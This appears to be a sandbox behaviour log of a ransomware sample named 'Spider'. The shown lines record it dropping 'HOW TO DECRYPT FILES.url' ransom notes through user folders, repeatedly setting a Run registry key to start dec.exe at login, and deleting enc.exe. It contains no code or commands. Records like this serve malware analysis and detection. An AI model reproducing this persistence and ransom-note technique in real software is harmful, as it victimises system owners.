154 Created file C:\Users\Default\HOW TO DECRYPT FILES.url

155 Created file C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\HOW TO DECRYPT FILES.url

156 Created file C:\Users\Public\HOW TO DECRYPT FILES.url

157 Created file C:\Users\Public\Desktop\HOW TO DECRYPT FILES.url

158 Created file C:\Users\Public\Documents\HOW TO DECRYPT FILES.url

159 Created file C:\Users\Public\Downloads\HOW TO DECRYPT FILES.url

160 Created file C:\Users\Public\Libraries\HOW TO DECRYPT FILES.url

161 Created file C:\Users\Public\Music\HOW TO DECRYPT FILES.url

162 Created file C:\Users\Public\Music\Sample Music\HOW TO DECRYPT FILES.url

163 Created file C:\Users\Public\Pictures\HOW TO DECRYPT FILES.url

164 Created file C:\Users\Public\Pictures\Sample Pictures\HOW TO DECRYPT FILES.url

165 Created file C:\Users\Public\Recorded TV\HOW TO DECRYPT FILES.url

166 Created file C:\Users\Public\Recorded TV\Sample Media\HOW TO DECRYPT FILES.url

167 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

168 Created file C:\Users\Qr2xkN\HOW TO DECRYPT FILES.url

169 Created file C:\Users\Qr2xkN\3rd\HOW TO DECRYPT FILES.url

170 Created file C:\Users\Qr2xkN\AppData\Local\HOW TO DECRYPT FILES.url

171 Created file C:\Users\Qr2xkN\AppData\Local\bluesoleil\HOW TO DECRYPT FILES.url

172 Created file C:\Users\Qr2xkN\AppData\Local\Google\Chrome\Application\HOW TO DECRYPT FILES.url

173 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds\HOW TO DECRYPT FILES.url

174 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds\Feeds for United States~\HOW TO DECRYPT FILES.url

175 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds\Microsoft Feeds~\HOW TO DECRYPT FILES.url

176 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\WebSlices~\HOW TO DECRYPT FILES.url

177 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds Cache\HOW TO DECRYPT FILES.url

178 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds Cache\2MCHMQO4\HOW TO DECRYPT FILES.url

179 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds Cache\K5F5N5VE\HOW TO DECRYPT FILES.url

180 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds Cache\RHXDZL8E\HOW TO DECRYPT FILES.url

181 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Feeds Cache\XRY4UY7F\HOW TO DECRYPT FILES.url

182 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Internet Explorer\HOW TO DECRYPT FILES.url

183 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Last Active\HOW TO DECRYPT FILES.url

184 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Media Player\HOW TO DECRYPT FILES.url

185 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Media Player\Sync Playlists\en-US\00004016\HOW TO DECRYPT FILES.url

186 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows Media\12.0\HOW TO DECRYPT FILES.url

187 Created file C:\Users\Qr2xkN\AppData\Local\Microsoft\Windows Sidebar\HOW TO DECRYPT FILES.url

188 Created file C:\Users\Qr2xkN\AppData\Local\Mozilla\Firefox\Profiles\1zzfgr18.default\cache2\HOW TO DECRYPT FILES.url

189 Created file C:\Users\Qr2xkN\AppData\LocalLow\HOW TO DECRYPT FILES.url

190 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

191 Created file C:\Users\Qr2xkN\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\HOW TO DECRYPT FILES.url

192 Created file C:\Users\Qr2xkN\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\HOW TO DECRYPT FILES.url

193 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\AddIns\HOW TO DECRYPT FILES.url

194 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3946836232-3129958654-3972794008-500\HOW TO DECRYPT FILES.url

195 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Document Building Blocks\1033\14\HOW TO DECRYPT FILES.url

196 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Excel\XLSTART\HOW TO DECRYPT FILES.url

197 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\HOW TO DECRYPT FILES.url

198 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\HOW TO DECRYPT FILES.url

199 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\HOW TO DECRYPT FILES.url

200 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Office\Recent\HOW TO DECRYPT FILES.url

201 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Protect\HOW TO DECRYPT FILES.url

202 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Protect\S-1-5-21-3946836232-3129958654-3972794008-500\HOW TO DECRYPT FILES.url

203 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Templates\HOW TO DECRYPT FILES.url

204 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\UProof\HOW TO DECRYPT FILES.url

205 Created file C:\Users\Qr2xkN\AppData\Roaming\Microsoft\Word\STARTUP\HOW TO DECRYPT FILES.url

206 Created file C:\Users\Qr2xkN\Contacts\HOW TO DECRYPT FILES.url

207 Created file C:\Users\Qr2xkN\Documents\HOW TO DECRYPT FILES.url

208 Created file C:\Users\Qr2xkN\Documents\Bluetooth\Share\HOW TO DECRYPT FILES.url

209 Created file C:\Users\Qr2xkN\Downloads\HOW TO DECRYPT FILES.url

210 Created file C:\Users\Qr2xkN\Favorites\HOW TO DECRYPT FILES.url

211 Created file C:\Users\Qr2xkN\Favorites\Links\HOW TO DECRYPT FILES.url

212 Created file C:\Users\Qr2xkN\Favorites\Links for United States\HOW TO DECRYPT FILES.url

213 Created file C:\Users\Qr2xkN\Favorites\Microsoft Websites\HOW TO DECRYPT FILES.url

214 Created file C:\Users\Qr2xkN\Favorites\MSN Websites\HOW TO DECRYPT FILES.url

215 Created file C:\Users\Qr2xkN\Favorites\Windows Live\HOW TO DECRYPT FILES.url

216 Created file C:\Users\Qr2xkN\Kernel\HOW TO DECRYPT FILES.url

217 Created file C:\Users\Qr2xkN\Kernel\PAN\HOW TO DECRYPT FILES.url

218 Created file C:\Users\Qr2xkN\Links\HOW TO DECRYPT FILES.url

219 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

220 Created file C:\Users\Qr2xkN\Music\HOW TO DECRYPT FILES.url

221 Created file C:\Users\Qr2xkN\Pictures\HOW TO DECRYPT FILES.url

222 Created file C:\Users\Qr2xkN\Saved Games\HOW TO DECRYPT FILES.url

223 Created file C:\Users\Qr2xkN\Searches\HOW TO DECRYPT FILES.url

224 Created file E:\HOW TO DECRYPT FILES.url

225 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

226 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

227 Created file E:\Bank\HOW TO DECRYPT FILES.url

228 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

229 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

230 Created file E:\Pictures\Vancouver\HOW TO DECRYPT FILES.url

231 Created file C:\Users\Qr2xkN\Desktop\HOW TO DECRYPT FILES.url

232 Created file C:\Users\Qr2xkN\AppData\Roaming\Spider\5p1d3r

233 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

234 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

235 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

236 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

237 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

238 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

239 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

240 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

241 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

242 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

243 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

244 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

245 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

246 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

247 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

248 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

249 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

250 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

251 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

252 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

253 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

254 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

255 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

256 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

257 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

258 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

259 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

260 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

261 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

262 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

263 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

264 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

265 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

266 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

267 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

268 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

269 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

270 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

271 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

272 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

273 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

274 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

275 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

276 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

277 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

278 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

279 Deleted file C:\Users\Qr2xkN\AppData\Roaming\Spider\enc.exe

280 Created file C:\Users\Qr2xkN\AppData\Local\GDIPFONTCACHEV1.DAT

281 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

282 Created mutex

283 Created file C:\Users\Qr2xkN\AppData\Roaming\Spider\run.bat

284 Created file C:\Users\Qr2xkN\Desktop\DECRYPTER.url

285 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

286 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

287 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

288 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

289 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

290 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

291 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

292 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

293 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

294 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

295 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

296 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

297 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

298 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

299 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

300 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

301 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

302 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

303 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

304 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

305 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

306 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

307 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

308 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

309 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

310 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

311 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

312 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

313 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

314 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

315 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

316 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

317 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

318 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

319 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

320 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

321 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

322 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

323 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

324 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

325 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

326 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

327 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

328 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

329 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

330 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

331 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

332 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

333 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

334 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

335 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

336 Set key \REGISTRY\USER\S-1-5-21-3946836232-3129958654-3972794008-500\Software\Microsoft\Windows\CurrentVersion\Run\Starter to value C:\Users\Qr2xkN\AppData\Roaming\Spider\dec.exe startup

